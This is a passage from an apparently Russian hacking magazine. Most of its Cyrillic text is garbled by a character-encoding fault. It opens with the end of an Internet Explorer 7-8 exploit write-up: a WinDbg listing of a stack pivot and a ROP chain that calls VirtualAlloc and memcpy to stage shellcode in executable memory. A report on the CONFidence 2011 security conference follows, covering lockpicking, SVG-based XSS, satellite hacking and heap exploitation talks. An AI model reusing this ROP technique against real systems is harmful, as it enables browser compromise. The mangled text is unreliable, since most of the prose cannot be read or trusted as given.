0:007> u comctl32!CImageList::_IsSameObject+40 L?2
comctl32!CImageList::_IsSameObject+0x40:

773e3f18 94 xchg eax,esp ; esp == 0c0c0c0c
773e3f19 c3 ret ; ȖȢțȖȤȔȦ Ȗ kernel32!VirtualAlloc

°ÏÒÌÆ ÅÁÎÎÜÖ ÓÆÌÏÅÃÉÇÆÎÉÊ ROP-ÐÏÒÌÆÅÏÃÁÓÆÌÝÎÏÒÓÝ ÂÔÅÆÓ ÃÜ-
ÄÌàÅÆÓÝ ÒÌÆÅÔßÚÉÍ ÏÂÑÁÈÏÍ:

0c0c0c10 7c901db3 ; 2:ntdll!memcpy 
(ȖȦȢȤȢȝ ȖȢțȖȤȔȦ)
0c0c0c14 7f000000 ; 1:VirtualAlloc:lpAddress
0c0c0c18 00004000 ; 1:VirtualAlloc:dwSize
0c0c0c1c 00003000 ; 1:VirtualAlloc:fl AllocationType MEM_
COMMIT | MEM_RESERVE
0c0c0c20 00000040 ; 1:VirtualAlloc:fl Protect rwx
0c0c0c24 7f001000 ; 3:nops+shellcode (ȦȤșȦȜȝ ȖȢțȖȤȔȦ)
0c0c0c28 7f001000 ; 2:memcpy:dst
0c0c0c2c 23000100 ; 2:memcpy:src
0c0c0c30 00002fff ; 2:memcpy:size

£ kernel32!VirtualAlloc ÃÜÅÆÌàÆÓÒà 0x4000 ÂÁÊÓ Ò ÁÓÑÉÂÔÓÁÍÉ 
ØÓÆÎÉÆ/ÈÁÐÉÒÝ/ÉÒÐÏÌÎÆÎÉÆ ÐÏ ÁÅÑÆÒÔ 0x7f000000, É ÍÜ ÃÏÈÃÑÁÚÁ-
ÆÍÒà Ã ntdll!memcpy. ®Á ÅÁÎÎÏÍ ÞÓÁÐÆ ÒÓÆË ÃÜÄÌàÅÉÓ ÒÌÆÅÔßÚÉÍ 
ÏÂÑÁÈÏÍ:

0c0c0c24 7f001000 ; 3:nops+shellcode (ȦȤșȦȜȝ ȖȢțȖȤȔȦ)
0c0c0c28 7f001000 ; 2:memcpy:dst
0c0c0c2c 23000100 ; 2:memcpy:src
0c0c0c30 00002fff ; 2:memcpy:size

ntdll!memcpy ÈÁÓÆÍ ÒËÏÐÉÑÔÆÓ 0x2fff ÂÁÊÓ ÉÈ 0x23000100 (ÐÏ 
ÅÁÎÎÏÍÔ ÁÅÑÆÒÔ ÎÁÖÏÅÉÓÒà ×ÆÐÏØËÁ nops + shellcode) ÐÏ ÁÅÑÆÒÔ 
0x7f001000 (rwx-ÐÁÍàÓÝ, ÂÜÌÁ ÃÜÙÆ ÃÜÅÆÌÆÎÁ VirtualAlloc’ÏÍ) É 
ÃÆÑÎÆÓ ÔÐÑÁÃÌÆÎÉÆ ÎÁ ×ÆÐÏØËÔ nops + shellcode, ÑÁÒÐÏÌÁÄÁßÚÔßÒà 
ÐÏ ÁÅÑÆÒÔ 0x7f001000:

ntdll!memcpy:
7c901db3 55 push  ebp
7c901db4 8bec mov   ebp,esp
7c901db6 57 push  edi
7c901db7 56 push  esi
7c901db8 8b750 cmov  esi,dword ptr [ebp+0Ch]
   ; ss:0023:0c0c0c2c=23000100
7c901dbb 8b4d10 mov   ecx,dword ptr [ebp+10h] 
   ; ss:0023:0c0c0c30=00002fff 
7c901dbe 8b7d08 mov   edi,dword ptr [ebp+8] 
   ; ss:0023:0c0c0c28=7f001000   

...

7c901de6 f3a5 rep   movs dword ptr es:[edi],dword ptr [esi]
   ; ȥȞȢȣȜȤȢȖȔȦȰ nops+shellcode ȣȢ ȔȘȤșȥȧ 0x7f001000

...

7c901f4d c9              leave
7c901f4e c3              ret           
; ȖȢțȖȤȔȦ ȣȢ ȔȘȤșȥȧ 7f001000 (ȣȢȣȔȘȔșȠ ȡȔ 
; ȪșȣȢȫȞȧ nops + shellcode)

 TARGETS 
Internet Explorer 7-8

 SOLUTION 
°ÏÒÓÁÃÉÓÝ ÏÂÎÏÃÌÆÎÉà. z

Интерфейс CuOM запускается через обычный браузер
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ВЗЛОМ
 ¡ÌÆËÒÆÊ  ²ÉÎ×ÏÃ ,  Digital  Security  (twitter.com/asintsov)

      ¡ÌÆËÒÁÎÅÑ  ÁÓÑÏÒÏÃ ,  ESET (twitter.com/matrosov)

Îò÷åò î õàêåðñêîé êîíôåðåíöèè 
â Ïîëüøå èç ïåðâûõ ðóê

CONFIDENCE 2011

От редакции:
«ÏÎÕÆÑÆÎ×Éà CONFidence ËÁË ÏÂÜØÎÏ ÐÑÏÙÌÁ Ã 20-Ö ØÉÒÌÁÖ ÍÁà Ã 
ÐÑÆËÑÁÒÎÏÍ ÐÏÌÝÒËÏÍ ÄÏÑÏÅÆ «ÑÁËÏÃÆ. ¯ÎÁ ÅÁÃÎÏ ÔÇÆ ÈÁÑÆËÏÍÆÎ-
ÅÏÃÁÌÁ ÒÆÂà ËÁË ÌÔØÙÆÆ ÒÏÂÜÓÉÆ IT-security Ã £ÏÒÓÏØÎÏÊ ¦ÃÑÏÐÆ, 
ÅÁ É ØÆÄÏ ÓÁÉÓÝ — ÞÓÏ ÏÅÎÏ ÉÈ ÌÔØÙÉÖ ÖÁË-ÒÏÂÜÓÉÊ ¦ÃÑÏÐÜ ÃÏÏÂÚÆ 
(ÎÁÑàÅÔ Ò Black Hat, HITB, HashDays, SOURCE, BruCon, DeepSEC). 
¨Á ÐàÓÝ ÌÆÓ ÅÏËÌÁÅØÉËÁÍÉ ÎÁ ÞÓÏÊ ËÏÎÕÆÑÆÎ×ÉÉ ÂÜÌÉ ÓÁËÉÆ ÌßÅÉ, 
ËÁË ¢ÑßÒ ¹ÎÁÊÆÑ, ¥ÞÎ «ÁÍÉÎÒËÉ, ¥ÇÏÁÎÎÁ ±ÔÓËÏÃÒËÁà, ÀËÏÂ 
¡ÐÐÆÌÂÁÔÍ, ¡ÎÓÏÎ ¸ÔÃÁËÉÎ É ÍÎÏÄÉÆ ÅÑÔÄÉÆ. ¡ Ã ÞÓÏÍ ÄÏÅÔ Ò ÅÏËÌÁ-
ÅÁÍÉ ÐÑÉÆÖÁÌÉ ÅÃÏÆ ÎÁÙÉÖ ÁÃÓÏÑÏÃ — ¡ÌÆËÒÆÊ ²ÉÎ×ÏÃ É ²ÁÙÁ 
ÁÓÑÏÒÏÃ, ÃÜÒÓÔÐÁÃÙÉÊ ÒÏ ÒÃÏÉÍ ËÏÌÌÆÄÏÊ ÉÈ ESET ¦ÃÄÆÎÉÆÍ 
±ÏÅÉÏÎÏÃÜÍ. © ÖÏÓà ÍÜ ÑÆÅÁË×ÉÆÊ É ÒÁÍÉ ÒÛÆÈÅÉÌÉ ÐÏÒÍÏÓÑÆÓÝ ÎÁ 
ÞÓÏ ØÔÍÏÃÏÆ ÅÆÊÒÓÃÉÆ, ÏÓØÆÓ Ï CONFidence ÐÑÆÅÌÏÇÉÌÉ ÎÁÐÉÒÁÓÝ 
ÎÆÐÏÒÑÆÅÒÓÃÆÎÎÏ ÔØÁÒÓÎÉËÁÍ ÒÏÂÜÓÉÊ. ³ÁË ØÓÏ ÓÏ, ËÁËÏÊ ËÏÎÕÆÑÆÎ-
×Éß ÔÃÉÅÆÌ ¬ÆÙÁ ²ÉÎ×ÏÃ, É ËÏÍÍÆÎÓÁÑÉÉ ²ÁÙÉ ÁÓÑÏÒÏÃÁ ØÉÓÁÊ 
ÎÉÇÆ.

Атмосфера
°ÆÑÃÏÆ, ØÓÏ ÖÏØÆÓÒà ÒËÁÈÁÓÝ: ÎÁ ÍÆÑÏÐÑÉàÓÉÉ ÐÑÉÒÔÓÒÓÃÔÆÓ ÎÆËÁà 
«ÇÉÃÁà» ÖÁËÆÑÒËÁà ÁÓÍÏÒÕÆÑÁ, ØÓÏ ÐÏÈÃÏÌàÆÓ ÎÁÍ, ËÁË ÅÏËÌÁÅØÉ-
ËÁÍ, ÓÁË É ÐÏÒÆÓÉÓÆÌàÍ, ÏØÆÎÝ ÅÔÙÆÃÎÏ ÐÏÏÂÚÁÓÝÒà ÅÑÔÄ Ò ÅÑÔÄÏÍ 
Ã «ÎÆÏÕÉ×ÉÁÌÝÎÏÊ» ÏÂÒÓÁÎÏÃËÆ :). ²ÁÍÁ ËÏÎÕÆÑÆÎ×Éà ÐÑÏÖÏÅÉÌÁ 
Ã ËÏÍÐÌÆËÒÆ ÃÏÅÏÎÁÐÏÑÎÏÊ ÒÓÁÎ×ÉÉ, ÏÓËÑÜÓÏÊ Ã ÆÚÆ 1901 ÄÏÅÔ, ÓÁË 
ØÓÏ ÁÎÓÔÑÁÇ Ã ÒÓÉÌÆ «ÉÎÅÁÒÓÑÉÁÌ» ÐÏÍÏÄ ÑÁÈÎÏÏÂÑÁÈÉÓÝ ÏÂÚÆÆ 
ÃÐÆØÁÓÌÆÎÉÆ. ÆÑÏÐÑÉàÓÉà ÐÏÅÏÂÎÏÄÏ ÑÏÅÁ Ã ÂÏÌÝÙÉÎÒÓÃÆ ÒÃÏÆÍ 
ÐÑÏÖÏÅàÓ Ã ÒËÔØÎÜÖ ËÏÎÅÉ×ÉÏÎÉÑÔÆÍÜÖ ÈÁÌÁÖ ÏÓÆÌÆÊ, Á ÓÔÓ ÃÜÂÑÁ-
ÎÏ ÏØÆÎÝ ÐÑÁÃÉÌÝÎÏÆ ÍÆÒÓÏ. ²ÓÏÉÓ Ë ÞÓÏÍÔ ÅÏÂÁÃÉÓÝ, ØÓÏ ÓÆÑÑÉÓÏ-
ÑÉà ËÏÎÕÆÑÆÎ×ÉÉ ÎÆ ÏÄÑÁÎÉØÉÃÁÌÁÒÝ ÓÏÌÝËÏ ÐÏÍÆÚÆÎÉàÍÉ: ÒßÅÁ 
ÓÁËÇÆ ÃÖÏÅÉÌÁ É ÈÏÎÁ ÐÏÅ ÏÓËÑÜÓÏÍ ÎÆÂÏÍ, ÄÅÆ ÂÜÌÉ ÏÑÄÁÎÉÈÏÃÁ-
ÎÜ ÃÒàËÏÄÏ ÑÏÅÁ ÒÐÏÑÓÉÃÎÜÆ ÉÄÑÜ (ÃÏÌÆÊÂÏÌ, ÕÔÓÂÏÌ), ÔÒÓÁÎÏÃ-
ÌÆÎÜ ÔÅÏÂÎÜÆ ÓÆÎÓÜ É ÄÏÓÏÃÉÌÉÒÝ ÃËÔÒÎÏÒÓÉ ÃÑÏÅÆ ÍàÒÁ ÄÑÉÌÝ 
É ÙÁÙÌÜËÏÃ (Ë ÒÌÏÃÔ, ÎÁ ÐÏÌÝÒËÏÍ ÞÓÏ ÂÌßÅÏ ÎÁÈÜÃÁÆÓÒà ÓÏØÎÏ 
ÓÁË ÇÆ). «ÏÎÆØÎÏ, ÎÆ ÏÂÏÙÌÏÒÝ ÂÆÈ ÐÑÉÃÜØÎÜÖ ÅÌà ÅÁÎÎÏÄÏ ÍÆÑÏ-

Наши 
авторы 
на конференции!

  CONFidence — óíèêàëüíîå ñîáûòèå ïî ñâîåé àòìîñôåðå è 
îòêðûòîñòè. Ïîìèìî èìåíèòûõ äîêëàä÷èêîâ, çäåñü âñåãäà æäóò 
íîâûõ ëþäåé, êîòîðûå ãîòîâû ïðåäñòàâèòü ðåçóëüòàòû èíòåðåñíûõ 
èññëåäîâàíèé â îáëàñòè ÈÁ. Åäèíñòâåííîå îãðàíè÷åíèå — 
âûñòóïëåíèå äîëæíî áóäîðàæèòü ðàçóì íå òîëüêî äîêëàä÷èêà, íî è 
áûòü èíòåðåñíî ïðèñóòñòâóþùèì.
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ÐÑÉàÓÉà ÁÓÑÉÂÔÓÏÃ — ÉÄÑÏÃÜÖ ËÏÎÒÏÌÆÊ, ÒÓÁÑÜÖ ÉÄÑ, 
É, ÒÁÍÏ ÒÏÂÏÊ, ÖÁËÆÑÒËÉÖ ÒÏÑÆÃÎÏÃÁÎÉÊ. °ÑÏÃÏÅÉÌÉÒÝ 
É ÐÑÏÒÓÏ «ÁÌËÏ-ÓÑÆÙÏÃÜÆ» ËÏÎËÔÑÒÜ, ÃÑÏÅÆ ÓÁËÏÄÏ: 
ËÓÏ ÐÏÌÔÄÏÌÜÍ ÐÑÏÂÆÇÉÓ ÐÏ Ò×ÆÎÆ ÃÏ ÃÑÆÍà ÅÏËÌÁÅÁ... 
¡ÌÆËÒÁÎÅÑÔ ÁÓÑÏÒÏÃÔ É ¦ÃÄÆÎÉß ±ÏÅÉÏÎÏÃÔ ÐÏÃÆÈÌÏ, 
ÃÆÅÝ ÉÍÆÎÎÏ ÃÏ ÃÑÆÍà ÉÖ ÃÜÒÓÔÐÌÆÎÉà ËÓÏ-ÓÏ ÃÜÐÏÌ-
ÎÉÌ ÞÓÔ «ÁØÉÃËÔ» :). ¢ÜÌÉ É ËÌÁÒÒÉØÆÒËÉÆ ËÏÎËÔÑÒÜ, 
ÃÑÏÅÆ CrackMe É ReverseMe ÉÌÉ «ÏÂÏÊÅÉ Tipping Point 
IPS». «ÒÓÁÓÉ, ESET ÔÇÆ ÎÁ ÐÑÏÓàÇÆÎÉÉ ÍÎÏÄÉÖ ÌÆÓ 
àÃÌàÆÓÒà ÒÐÏÎÒÏÑÏÍ ÞÓÏÄÏ ÍÆÑÏÐÑÉàÓÉà É ÓÑÁÅÉ×ÉÏÎÎÏ 
ÑÁÈÑÁÂÁÓÜÃÁÆÓ ÅÌà ÎÆÄÏ ÒÐÆ×ÉÁÌÝÎÜÊ ËÑàËÍÉ. « ÒÏÇÁ-
ÌÆÎÉß, Ã ÞÓÏÍ ÄÏÅÔ ÎÆ ÎÁÙÌÏÒÝ ÎÉ ÏÅÎÏÄÏ ØÆÌÏÃÆËÁ, 
ËÏÓÏÑÜÊ ÒÍÏÄ ÂÜ ÐÑÏÊÓÉ ÆÄÏ ÐÏÌÎÏÒÓÝß. ¥Ï ÒÉÖ ÐÏÑ ÏÎ 
ÅÏÒÓÔÐÆÎ ÏÎÌÁÊÎ É ÓÜ ÍÏÇÆÙÝ ÉÒÐÜÓÁÓÝ ÒÆÂà (2011.
confidence.org.pl/misc/CrackMe/force64.ex_). «£ÉÅÉÍÏ, 
ÐÑÏÒÓÏ ÎÁ ÞÓÏÓ ÑÁÈ ÎÆ ÂÜÌÏ ¥ÉÍÜ ²ËÌàÑÏÃÁ, ËÏÓÏÑÜÊ 
ÔÇÆ ÓÑÁÅÉ×ÉÏÎÎÏ ÈÁÎÉÍÁÆÓ ÃÒÆ ÐÆÑÃÜÆ ÍÆÒÓÁ ÎÁ 
ÎÁÙÉÖ ËÏÎËÔÑÒÁÖ», — ÙÔÓÉÓ ²ÁÙÁ ÁÓÑÏÒÏÃ. «ÏÑÏØÆ 
ÄÏÃÏÑà, CONFidence 2011 ÏÓÍÆÓÉÌÁÒÝ ÃÒÆÍ, ÂÆÈ ØÆÄÏ ÎÉ 
ÏÅÎÁ ÅÏÂÑÏÓÎÁà ÖÁËÆÑÒËÁà ËÏÎÕÆÑÆÎ×Éà ÏÂÏÊÓÉÒÝ ÎÆ 
ÍÏÇÆÓ. ³ÆÍ ÎÆ ÍÆÎÆÆ, ÎÁ ÓÁËÉÖ ÉÃÆÎÓÁÖ ÒÁÍÏÆ ÄÌÁÃÎÏÆ 
— ÞÓÏ ÅÏËÌÁÅÜ, ÓÁË ØÓÏ ÐÏÄÏÃÏÑÉÍ Ï ÎÉÖ ÐÏÅÑÏÂÎÆÆ.

Доклады
 Сетевая безопасность — с нулевого уровня

Your Network Security Starts at Layer Zero
Äîêëàä÷èêè: Äåâèàíò Îëëàì, Áàáàê Äæàâàäè

¾ÓÏÓ ÅÏËÌÁÅ, ËÏÓÏÑÜÊ ÐÆÑÆÙÆÌ Ã ÃÏÑËÙÏÐ ÏÓ ÁÍÆÑÉËÁÎ-
ÒËÉÖ ÐÆÎ-ÓÆÒÓÆÑÏÃ, ÂÜÌ ÎÁ ÏÓËÑÜÓÉÉ. °ÆÎ-ÓÆÒÓÆÑÜ-ÓÏ ÎÆ 
ÐÑÏÒÓÜÆ. ¯ÎÉ ÈÁÎÉÍÁßÓÒà ÐÑÏÎÉËÎÏÃÆÎÉÆÍ ÎÁ ÕÉÈÉ-
ØÆÒËÏÍ ÔÑÏÃÎÆ, ÓÏ ÆÒÓÝ ÐÑÏÃÆÑàßÓ ËÁØÆÒÓÃÏ ÈÁÍËÏÃ, 
ÐÜÓÁàÒÝ ÃÒËÑÜÓÝ ÉÖ, ÎÆ ÑÁÈÑÔÙÁà ÍÆÖÁÎÉÈÍÁ ÅÃÆÑÆÊ, 
ÐÆÓÆÌÝ ÉÌÉ ÒÓÆÎ. ¯ØÆÃÉÅÎÏ, ØÓÏ ÂÏÌÝÙÉÎÒÓÃÏ ÃÏÑÏÃ ÐÑÏ-
ÒÓÏ ÃÜÒÃÆÑÌÉÃÁßÓ ÈÁÍËÉ, ÎÆ ÈÁÂÏÓàÒÝ Ï ÒËÑÜÓÎÏÒÓÉ. ®Ï 
ÃÏÓ ÆÒÌÉ ÒÌÆÅÏÃ ÑÁÈÑÔÙÆÎÉà ÎÆÓ, ÈÎÁØÉÓ ÌÉ ÞÓÏ, ØÓÏ ÓÃÏß 
ÅÃÆÑÝ ÎÆ ÏÓËÑÜÃÁÌÉ? ¨ÎÁØÉÓ ÌÉ ÞÓÏ, ØÓÏ ÓÃÏÊ àÚÉË Ã 

ÏÕÉÒÆ ÂÜÌ ÈÁËÑÜÓ É ÎÆÅÏÒÓÔÐÆÎ, ÐÏËÁ ÓÜ  ÂÜÌ ÎÁ ÏÂÆÅÆ 
ÉÌÉ ÅÏÍÁ? £ÏÏÂÚÆ ÄÏÃÏÑà, ÆÒÌÉ ËÁÍÆÑ ÎÆÓ — ÓÏ ÞÓÏ ÎÆ 
ÏØÆÃÉÅÎÏ. ¡ ÔØÉÓÜÃÁà, ËÁË ÎÆËÏÓÏÑÜÆ ËÏÍÐÁÎÉÉ ÞËÏÎÏÍàÓ 
ÎÆ ÓÏÌÝËÏ ÎÁ ÈÁÍËÁÖ ÏÓ ÏÕÉÒÎÜÖ ÅÃÆÑÆÊ, àÚÉËÏÃ ÒÓÏÌÏÃ 
ÉÌÉ ÌÉØÎÜÖ ÙËÁÕØÉËÏÃ, ÎÏ É ÎÁ ÈÁÍËÁÖ ÏÓ ÚÉÓÏÃÜÖ 
(ÄÅÆ ÒØÆÓØÉËÉ, ÉÌÉ ÑÔÂÉÌÝÎÉËÉ, ÉÌÉ ÔÐÑÁÃÌÆÎÉÆ ÐÑÏ-
ØÉÖ ËÏÍÍÔÎÉËÁ×ÉÊ), ÓÏ ÓÁËÉÆ ÐÆÎ-ÓÆÒÓÜ ÐÏËÁÈÜÃÁßÓ, ØÓÏ 
ÐÏÓÆÎ×ÉÁÌÝÎÜÊ ÎÁÑÔÙÉÓÆÌÝ ÍÏÇÆÓ ÐÏÌÔØÉÓÝ ÕÉÈÉØÆÒËÉÊ 
ÅÏÒÓÔÐ ÓÁË, ØÓÏ ÏÂ ÞÓÏÍ ÆÚÆ ÅÏÌÄÏ ÎÉËÓÏ ÎÆ ÔÈÎÁÆÓ. £ 
ÌßÂÏÍ ÒÌÔØÁÆ, ÅÏËÌÁÅ ÂÜÌ ÈÑÆÌÉÚÎÜÊ É ÉÎÓÆÑÆÒÎÜÊ, 
ÖÏÓà É ÎÆ ÎÏÃÜÊ. ®Ï ÑÆÂàÓÁ ÓÁË ÇÆ ÑÁÒÒËÁÈÁÌÉ É Ï ÎÏÃÜÖ 
ÈÁÍËÁÖ, ËÏÓÏÑÜÆ ÏÎÉ ÒÆÊØÁÒ ÐÜÓÁßÓÒà ÃÒËÑÜÓÝ, É ÒÔÅà ÐÏ 
ÐÑÏÄÑÆÒÒÔ — ÏÎÉ ÂÔÅÔÓ, ÃÒÆ ÇÆ, ÃÈÌÏÍÁÎÜ :). ¾ÓÉ ÑÆÂà-
ÓÁ — ÂÏÌÝÙÉÆ ÌßÂÉÓÆÌÉ ÔÒÓÑÁÉÃÁÓÝ ËÏÎËÔÑÒÜ ÐÏ ÃÈÌÏÍÔ 
ÈÁÍËÏÃ, É ÂÜÌÉ ÈÁÍÆØÆÎÜ ÎÁ ÍÎÏÄÉÖ ÅÑÔÄÉÖ ËÏÎÕÆÑÆÎ×É-
àÖ, ÓÁËÉÖ ËÁË Ekoparty, Ë ÐÑÉÍÆÑÔ. ¡ ÎÁ ÉÖ ÒÁÊÓÆ (deviating.
net/lockpicking/equipment.html) ÍÏÇÎÏ ÐÑÉËÔÐÉÓÝ ÑÁÈ-
ÌÉØÎÜÆ ÎÁÂÏÑÜ ÏÓÍÜØÆË, É, Ò ÉÖ ÒÏÂÒÓÃÆÎÎÜÖ ÒÌÏÃ, ÏÎÉ 
ÂÆÈ ÐÑÏÂÌÆÍ ÄÏÓÏÃÜ ÉÖ ÅÏÒÓÁÃÉÓÝ ÐÏØÓÏÊ, Ã ÓÏÍ ØÉÒÌÆ É 
Ã ±ÏÒÒÉß. °ÏÒÌÆ ÅÏËÌÁÅÁ ÌßÂÏÊ ÇÆÌÁßÚÉÊ ÍÏÄ ÐÏÐÑÏ-
ÂÏÃÁÓÝ ÐÏÃÒËÑÜÃÁÓÝ ÈÁÍËÉ (É ÎÁÑÔØÎÉËÉ) ÑÁÈÎÜÍÉ ÍÆÓÏ-
ÅÁÍÉ — ÏÓÍÜØËÁÍÉ, ÒÐÆ×ÉÁÌÝÎÜÍ ËÌßØÏÍ É ÍÏÌÏÓÏØËÏÍ 
É ÅÁÇÆ ÐÉÃÎÏÊ ÂÁÎËÏÊ!  «ÑÏÍÆ ÓÏÄÏ ÂÜÌ ÏÑÄÁÎÉÈÏÃÁÎ 
ËÏÎËÔÑÒ ÎÁ ÓÆÍÔ ÃÈÌÏÍÁ ÈÁÍËÏÃ: ÎÁ ÔØÁÒÓÎÉËÁ ÏÅÆÃÁÌÉ 
ÎÁÑÔØÎÉËÉ, ÏÎ ÅÏÌÇÆÎ ÂÜÌ ÏÓËÑÜÓÝ ÃÒÆ ÈÁÍËÉ É ÒÎàÓÝ 
ÎÁÑÔØÎÉËÉ. °ÏÂÆÅÉÌ Ã ÞÓÏÍ ËÏÎËÔÑÒÆ Renderman, ÉÈÃÆÒÓ-
ÎÜÊ Ã «ÔÈËÉÖ» ËÑÔÄÁÖ ËÁÎÁÅÒËÉÊ ÖÁËÆÑ, ØÔÓÝ ÌÉ ÎÆ ÐÏÒÓÏ-
àÎÎÜÊ ÒÐÉËÆÑ ÎÁ Defcon’Æ. ¯Î ÍÆÎÆÆ ØÆÍ ÈÁ ÍÉÎÔÓÔ ÒÎàÌ 
ÎÁÑÔØÎÉËÉ (ËÏÓÏÑÜÆ, ËÒÓÁÓÉ, ÂÜÌÉ ÎÁÅÆÓÜ «ÈÁ ÒÐÉÎÏÊ»), 
ÐÏÒÌÆ ØÆÄÏ ÏÓËÑÜÌ ÃÒÆ ÈÁÍËÉ.

 Запрещенное изображение: аспект безопасно-
сти SVG в вебе
The forbidden image — Security impact of Scalable 
Vector Graphics on the WWW
Äîêëàä÷èêè: Ìàðèî Õåéäåðè÷
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ВЗЛОМ

¥ÏËÌÁÅ ÁÑÉÏ ÂÜÌ ÐÏÒÃàÚÆÎ ÒËÑÜÓÏÍÔ É ÏÐÁÒÎÏÍÔ ÐÏÓÆÎ×ÉÁÌÔ Ã 
ÕÏÑÍÁÓÆ SVG. ²ÏÂÒÓÃÆÎÎÏ ÁÑÉÏ (ÃÆÅÔÚÉÊ ÑÁÈÑÁÂÏÓØÉË PHP-IDS É 
ÕÁÎÁÓ ËÏÙÆË) ÑÁÒÒËÁÈÁÌ ÐÑÏ ÕÏÑÍÁÓ SVG, ÐÑÏ ÓÏ, ËÁË Ã ÆÄÏ ÓÆÌÆÒÁÖ 
ÍÏÇÎÏ ÈÁÐÑàÓÁÓÝ ÖÉÓÑÔß XSS, ÉÒÐÏÌÝÈÔà ÒÐÆ×ÉÕÉËÁ×Éß ÐÑÏÓÏËÏÌÁ. 
£ÒÆ ÞÓÏ ÏÓËÑÜÃÁÆÓ ÅÏÑÏÄÔ ÅÌà ÑÆÁÌÉÈÁ×ÉÉ ÁÓÁË ÓÁÍ, ÄÅÆ, ÎÁÐÑÉÍÆÑ, 
Ã ÌÏÂ ÎÆ ÐÑÏÊÓÉ (ËÁË, ÎÁÐÑÉÍÆÑ, Ã ÒÌÔØÁÆ, ËÏÄÅÁ ÍÆÙÁßÓ IDS ÉÌÉ 
WAF).

 Взлом птицы в небе: месть Angry Birds
Hacking a Bird in the Sky: The Revenge of Angry Birds
Äîêëàä÷èêè: Äæèì Ãåîâåäè, Ðàóëü «Nobody» ×üåñà

£ÆÒÆÌÜÊ ÅÏËÌÁÅ ¥ÇÉÍÁ É ±ÁÔÌà Ï ÍÆÓÏÅÁÖ ÃÈÌÏÍÁ ÒÐÔÓÎÉËÏÃ, Á ÓÏØ-
ÎÆÆ Ï ÐÑÏÂÌÆÍÁÖ ÂÆÈÏÐÁÒÎÏÒÓÉ, ËÏÓÏÑÜÆ ÉÍÆßÓ ÍÆÒÓÏ ÂÜÓÝ Ã ÞÓÏÊ 
ÏÂÌÁÒÓÉ. ¥Á, ÓÁË ÐÑÏÒÓÏ. £ÏÏÂÚÆ ÆÒÓÝ ÒÆÑÉà ÅÏËÌÁÅÏÃ ÎÁ ÞÓÔ ÓÆÍÔ, ÏÓ 
ÓÏÄÏ ÇÆ ¥ÇÉÍÁ É ÅÑÔÄÉÖ ÁÃÓÏÑÏÃ, ÎÏ ÅÁÎÎÜÊ ÅÏËÌÁÅ ÂÜÌ ÐÑÏ ÒÐÆ×-
ÉÕÉËÔ «ÎÁÈÆÍÎÏÊ» ÒÌÔÇÂÜ É ÆÆ ÐÑÏÂÌÆÍÜ: ÖÁÌÁÓÎÏÒÓÝ, ÔÒÓÁÑÆÃÙÆÆ 
°¯ (ÎÁÐÑÉÍÆÑ, ÐÏ ÐÑÉØÉÎÁÍ ÒÏÃÍÆÒÓÉÍÏÒÓÉ, ÍÎÏÄÏÆ °¯ ÑÁÂÏÓÁÆÓ ÎÁ 
ÏÏÏØÆÎÝ ÒÓÁÑÜÖ ÃÆÑÒÉàÖ ¯², ÃÑÏÅÆ WinNT 4.0 Ã ×ÆÎÓÑÁÖ ÔÐÑÁÃÌÆ-
ÎÉà), ÏÓÒÔÓÒÓÃÉÆ ÙÉÕÑÏÃÁÎÉà IP-ËÁÎÁÌÁ (ÙÉÕÑÏÃÁÎÉÆ ÔÃÆÌÉØÉÃÁÆÓ 
ÏÂÛÆÍ É ÎÁÄÑÔÈËÔ, ÐÏÞÓÏÍÔ ÅÆ-ÕÁËÓÏ — ÏÎÏ ÐÏÅÅÆÑÇÉÃÁÆÓÒà, ÎÏ, ËÁË 
ÐÑÁÃÉÌÏ, ÃÜËÌßØÆÎÏ). °ÏÍÉÍÏ ÓÆÏÑÉÉ, ¥ÇÉÍ ÐÏËÁÈÁÌ ÎÆÒËÏÌÝËÏ 
ÅÆÍÏÎÒÓÑÁ×ÉÊ, ËÁË ÆÍÔ ÔÅÁÌÏÒÝ ÃÎÆÅÑÉÓÝÒà Ã ÐÑÏÓÏËÏÌ ÏÂÚÆÎÉà 
ÍÆÇÅÔ ÒÐÔÓÎÉËÏÍ É ËÏÍÁÎÅÎÜÍ ×ÆÎÓÑÏÍ, ÐÏËÁÈÁÌ ÎÁÄÌàÅÎÜÆ ÃÉÅÆÏ 
É ËÁÑÓÉÎËÉ: ÏÓ ÏÒÎÏÃ TDMA ÅÏ ÒÐÆ×ÉÕÉËÁ×ÉÊ ÐÑÏÓÏËÏÌÏÃ. £ ÏÂÚÆÍ, 
ÉÎÓÆÑÆÒÎÁà ÐÑÆÈÆÎÓÁ×Éà (ÒËÏÑÆÆ ÅÁÇÆ ÎÆ ÒÌÁÊÅÜ ÉÎÓÆÑÆÒÎÜ, Á 
ÓÏ, ØÓÏ ÄÏÃÏÑÉÌÉ ÅÏËÌÁÅØÉËÉ) ÏÓ ÉÎÓÆÑÆÒÎÜÖ ÌßÅÆÊ. «ÓÏ ÎÆ ÈÎÁÆÓ 
±ÁÔÌà,— ÞÓÏÓ ÒÓÁÑÜÊ ÖÁËÆÑ ÃÓÏÑÄÒà Ã ÒÆÓÝ ¢ÁÎËÁ ©ÓÁÌÉÉ, ÈÁ ØÓÏ ÂÜÌ 
ÁÑÆÒÓÏÃÁÎ :). «ÁË ÏÎ ÔÓÃÆÑÇÅÁÆÓ, ÃÒÆ ÃÈÌÏÍÜ ÂÜÌÉ ÑÁÅÉ ÌßÂÏÐÜÓ-
ÒÓÃÁ É ÉÎÓÆÑÆÒÁ — ÓÆÐÆÑÝ Ô ÎÆÄÏ ÒÃÏà IT-security ÕÉÑÍÁ, ËÏÓÏÑÁà 
ÏËÁÈÜÃÁÆÓ ÑÁÈÎÏÄÏ ÑÏÅÁ ÔÒÌÔÄÉ ÓÆÍ ÇÆ ÂÁÎËÁÍ! ³ÁËÇÆ Ô ÎÉÖ ÒÃÏà 
ÌÁÂÁ, ÄÅÆ ÏÎÉ ÐÉÙÔÓ ÞËÒÐÌÏÉÓÜ É ÐÑÏÃÏÅàÓ ÉÒÒÌÆÅÏÃÁÎÉà. ±ÆÂàÓÁ 
ÐÑÁÃÉÌÝÎÜÆ: ÃÜÒÓÔÐÁßÓ ÎÁ ËÏÎÕÆÑÆÎ×ÉàÖ É ÅÁßÓ Ï ÒÆÂÆ ÈÎÁÓÝ 
ÅÆÌÏÍ, Á ÎÆ ËÑÁÒÔßÓÒà ÈÁ ÒÔÖÉÍÉ ÒÓÆÎÅÁÍÉ É ÒÆÑÓÉÕÉËÁÓÁÍÉ (ÖÏÓà 
ÂÆÈ ÞÓÏÄÏ, ÎÆ ÍÏÄÔ ÒÏÃÑÁÓÝ, ÎÉËÔÅÁ).

 Современная эксплуатация кучи через Low Fragmentation 
Heap
Modern Heap Exploitation using the Low Fragmentation Heap
